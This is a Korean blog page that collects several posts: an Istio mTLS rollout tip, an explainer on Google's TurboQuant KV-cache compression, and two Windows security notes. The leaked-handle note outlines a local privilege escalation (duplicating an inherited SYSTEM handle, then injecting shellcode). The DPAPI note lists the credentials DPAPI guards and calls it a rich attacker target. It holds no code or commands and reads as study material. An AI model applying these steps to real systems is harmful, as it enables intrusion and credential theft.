운영 환경에서는 PERMISSIVE로 먼저 배포해 전체 sidecar 주입을 확인한 다음 STRICT로 전환하는 것이 안전합니다. istioctl x describe pod로 각 Pod의 mTLS 상태를 미리 점검하면 전환 시 예상치 못한 트래픽 차단을 예방할 수 있습니다.

 

DestinationRule과의 관계


PeerAuthentication은 수신(inbound) 정책입니다. 발신(outbound) 측에서도 mTLS를 명시적으로 강제하려면 DestinationRule의 trafficPolicy.tls.mode: ISTIO_MUTUAL을 함께 설정하면 됩니다. 단, istiod가 자동으로 양쪽을 협상하므로 대부분의 내부 서비스 통신에서는 별도 DestinationRule 없이도 동작합니다.

반응형
반응형

구글이 AI 메모리 문제를 수학으로 풀어버렸다 — 터보퀀트 이야기

성능 저하 없이 메모리를 6분의 1로, 속도는 8배로. 그것도 추가 학습 없이.


ChatGPT나 Gemini 같은 AI에게 긴 문서를 던져주고 "이거 요약해줘"라고 해본 적 있을 것이다. 그 순간 AI 내부에서는 엄청난 일이 벌어진다. 대화가 길어질수록 AI는 앞에서 나눈 내용을 계속 기억하고 있어야 하는데, 그 기억을 저장하는 공간이 바로 **KV 캐시(Key-Value Cache)**다. 문제는 이게 메모리를 어마어마하게 잡아먹는다는 것.

구글 리서치, 딥마인드, 뉴욕대, 그리고 KAIST가 손을 잡고 이 문제를 정면으로 해결했다. 그 결과물이 지난 3월 공개된 **터보퀀트(TurboQuant)**다.

 https://www.aitimes.kr/news/articleView.html?idxno=39280

 

구글 리서치, AI 압축의 한계 돌파한 ‘터보퀀트’ 공개... “성능 저하 없이 KV 캐시 6배 압축” -

구글 리서치(Google Research)와 딥마인드(DeepMind), 뉴욕대 그리고 KAIST 전기및전자공학부 한인수 교수가 참여한 공동연구팀이 대형언어모델(LLM)의 고질적인 병목 현상인 메모리 과부하 문제를 수학

www.aitimes.kr

 

어떻게 가능한 것일까?

 

기존 문제점

AI 의 고질적인 두통, KV 캐시

AI 모델은 단어 하나하나를 수백, 수천 개의 숫자로 이루어진 '벡터'로 이해한다. 예를 들어 "고양이"라는 단어는 [0.8, -0.3, 0.5, 0.2 ...] 같은 4096개짜리 숫자 묶음으로 표현된다.

긴 대화나 긴 문서를 처리할 때, AI는 이 벡터들을 KV 캐시라는 일종의 '디지털 메모장'에 차곡차곡 쌓아둔다. 문장이 길어질수록, 사용자가 많아질수록 이 메모장은 폭발적으로 커진다. 결국 GPU 메모리가 버티질 못하고, AI의 처리 속도가 느려진다.

기존의 해결책은 양자화(Quantization), 즉 이 숫자들을 더 적은 비트로 압축하는 것이었다. 32비트짜리 숫자를 4비트로 줄이는 식으로. 그런데 여기에 아무도 제대로 해결하지 못한 함정이 숨어 있었다.


아무도 몰랐던 '숨은 비용'

압축을 하려면 기준이 필요하다. "이 값은 -2.3에서 +4.1 사이에 있어"처럼 범위를 먼저 파악해야 그 안에서 숫자를 압축할 수 있기 때문이다. 문제는 이 **범위 정보(상수값)**를 별도로 저장해야 한다는 것이다.

얼핏 작아 보이지만, 1~2비트의 추가 오버헤드가 수십억 개의 벡터에 곱해지면 수백 GB의 차이가 된다. "4비트로 압축했어!"라고 해도 실제로는 5~6비트 수준에 머무는 셈이다.

터보퀀트는 이 구조적 비효율을 수학적으로 완전히 없애버렸다.

 

터보퀀트

1. 극 좌표계 사용

수백~수천 차원짜리 벡터들을 공간에 찍어보면 놀라운 현상이 나타난다. 데이터들이 공간 안에 골고루 퍼지는 게 아니라, 마치 지구 표면처럼 특정 반지름을 가진 구의 껍데기 위에 몰려있는 것이다. 내부는 텅 비어있고, 껍데기에만 점들이 빽빽하다.

 

 
 

차원이 하나 늘어날 때마다 원점까지의 거리 계산에 항이 하나씩 더 쌓인다. 4096차원이면 4096개의 항이 더해지는데, 이 값들이 합산되면서 자연스럽게 비슷한 크기로 수렴하는 것이다. 이걸 차원의 저주라고 부른다.

 

 

 

기존 방식(직교 좌표계)은 이 성질을 몰랐다. 그래서 "이 값이 얼마나 크고 어느 방향인지"를 모두 저장했다. 폴라퀀트는 달랐다. 어차피 크기(반지름)는 거의 일정하니까, 방향(각도)만 저장하면 된다는 결론에 도달한 것이다.

비유하자면, 서울 어딘가의 위치를 "위도 37.56, 경도 126.97"로 저장하는 대신, "서울역에서 북동쪽으로 45도 방향"으로만 저장하는 것과 같다. 어차피 지구 표면(구 껍데기) 위에 있다는 건 이미 알고 있으니까.

이렇게 좌표계를 바꾸자 경계값 계산이 사라졌고, 따라서 상수값을 별도로 저장할 필요도 없어졌다. 숨은 메모리 비용이 구조적으로 제거된 것이다.

 

2. QJL(Quantized Johnson-Lindenstrauss) 1비트로 오차 잡기

폴라퀀트로 큰 틀은 압축했지만, 미세한 오차가 남는다. 이걸 보정하는 역할을 하는 게 **QJL(Quantized Johnson-Lindenstrauss)**이다. KAIST 한인수 교수가 설계를 주도한 알고리즘이다. 존슨-린덴스트라우스(JL) 변환은 수학에서 유명한 정리다. 핵심은 이것이다.

"고차원 데이터를 훨씬 낮은 차원으로 무작위로 투영해도, 점들 사이의 거리 관계는 높은 확률로 유지된다."

 

QJL은 여기서 한 발 더 나아간다. 그 투영된 값에서 부호(+/-) 만 남긴다. 숫자를 +1 또는 -1로만 표현하는 것이다. 이게 고작 1비트다.

터무니없어 보이지만, 이 1비트는 단순한 보조값이 아니다. AI가 어떤 단어에 집중해야 할지 계산하는 어텐션(Attention) 스코어는 결국 벡터들 사이의 거리·유사도 계산이다. JL 변환의 수학적 보장 덕분에, 이 거리 관계가 1비트 수준에서도 놀랍도록 잘 보존된다.

즉 폴라퀀트가 구조를 바꾸고, QJL이 그 과정에서 생긴 오차를 딱 1비트로 교정한다.

 

터보퀀트 성능

 NVIDIA H100 GPU 환경에서 오픈소스 모델 젬마(Gemma), 미스트랄(Mistral)을 기준으로 측정한 결과다.

  • 메모리: KV 캐시를 기존 대비 6배 이상 압축, 정확도 손실 없음
  • 속도: 4비트 터보퀀트 적용 시 32비트 모델 대비 최대 8배 빠른 추론
  • 검색 품질: 벡터 검색에서 기존 대표 기법(PQ, RabbiQ) 대비 더 높은 재현율(Recall)
  • 적용 방식: 추가 학습(Fine-tuning) 없이 즉시 적용 가능
반응형

'AI' 카테고리의 다른 글

RRF (Reciprocal Rank Fusion) 순위 알고리즘 이해  (0) 2026.06.07
반응형

공격 메커니즘

  1. 핸들 누수(Handle Leak) 발견
    • SYSTEM 권한 프로세스가 자식 프로세스를 생성할 때 핸들 상속 설정(bInheritHandles=TRUE)을 잘못 사용
    • 이로 인해 SYSTEM 프로세스의 민감한 핸들(프로세스/스레드 핸들 등)이 자식 프로세스에 상속됨
  2. 핸들 복제(Handle Duplication)
    • 공격자는 일반 사용자 권한으로 실행 중인 자식 프로세스에 접근
    • DuplicateHandle API를 사용해 상속된 SYSTEM 권한 핸들을 자신의 프로세스로 복사
  3. 권한 상승(LPE)
    • 복제한 핸들을 통해 SYSTEM 프로세스/스레드에 직접 접근
    • 스레드에 셸코드 인젝션 또는 프로세스 메모리 조작
    • 결과적으로 SYSTEM 권한으로 코드 실행

핵심 포인트

이 공격의 핵심은 접근 권한 체크를 우회한다는 것입니다. 일반적으로는 낮은 권한 프로세스가 SYSTEM 프로세스에 접근할 수 없지만, 이미 열려있는(상속된) 핸들을 "재활용"하면 권한 체크 없이 접근이 가능해집니다.

 

https://www.securityartwork.es/2022/05/25/exploiting-leaked-handles-for-lpe-2/

 

Exploiting Leaked Handles for LPE - Security Art Work

The inheritance of object handles between processes in a Microsoft Windows system can be a good source to identify local privilege elevation (LPE) vulnerabilities. After introducing the basic concepts around this type of security weaknesses, a tool capable

www.securityartwork.es


https://github.com/lab52io/LeakedHandlesFinder

 

GitHub - lab52io/LeakedHandlesFinder: Leaked Windows processes handles identification tool

Leaked Windows processes handles identification tool - lab52io/LeakedHandlesFinder

github.com

이 도구로 Leaked Handle 을 빠르게 찾을 수 있다고 한다.

 

 

반응형

'보안 > 윈도우 취약점' 카테고리의 다른 글

[윈도우 취약점 벡터] DPAPI  (0) 2025.10.04
반응형

DPAPI란?

**DPAPI (Data Protection API)**는 Windows에서 제공하는 암호화 API로, 개발자가 직접 암호화 키를 관리하지 않아도 사용자/시스템 권한을 기반으로 데이터를 암호화할 수 있게 해줍니다.

실제 사용 사례

DPAPI는 Windows 생태계에서 매우 광범위하게 사용됩니다:

1. 브라우저

  • Internet Explorer, Chrome: 저장된 비밀번호, 자동완성 데이터
  • Chrome 쿠키 (최근에는 추가 보호 계층 추가)

2. 이메일 클라이언트

  • Outlook, Windows Mail: 이메일 계정 비밀번호
  • FTP 계정 정보

3. 시스템 기능

  • WiFi 비밀번호 (시스템 레벨)
  • Windows Vault: 저장된 자격 증명
  • RDP(원격 데스크톱) 연결 정보
  • 작업 스케줄러 비밀번호

4. 애플리케이션

  • Skype, MSN Messenger: 로그인 정보
  • VPN 클라이언트들: 연결 자격 증명
  • Zscaler Client Connector: 설정 파일 (문서에 사례 연구 있음)
  • .NET Passport, 각종 인증 키

5. 네트워크

  • 공유 폴더 비밀번호
  • 네트워크 리소스 접근 정보

작동 방식

사용자 비밀번호 → Pre-key 생성 (SHA1 기반)
                      ↓
                  Master Key 생성 (GUID로 식별)
                      ↓
                  실제 데이터 암호화

암호화된 데이터는 항상 01 00 00 00으로 시작하며, 헤더에 어떤 Master Key를 사용했는지 GUID가 포함되어 있습니다.

왜 많이 쓰이는가?

  1. 개발 편의성: 개발자가 키 관리를 직접 안 해도 됨
  2. Windows 통합: OS 레벨에서 제공하는 표준 API
  3. 사용자 투명성: 로그인한 사용자가 자동으로 복호화 가능

결론적으로 DPAPI는 Windows에서 거의 모든 비밀번호/자격 증명 저장에 사용되는 핵심 보안 메커니즘입니다. 그래서 공격자 입장에서는 DPAPI를 공략하면 시스템의 거의 모든 민감한 정보에 접근할 수 있습니다.

반응형

'보안 > 윈도우 취약점' 카테고리의 다른 글

[윈도우 취약점 벡터] leaked handle for LPE  (0) 2025.10.04

+ Recent posts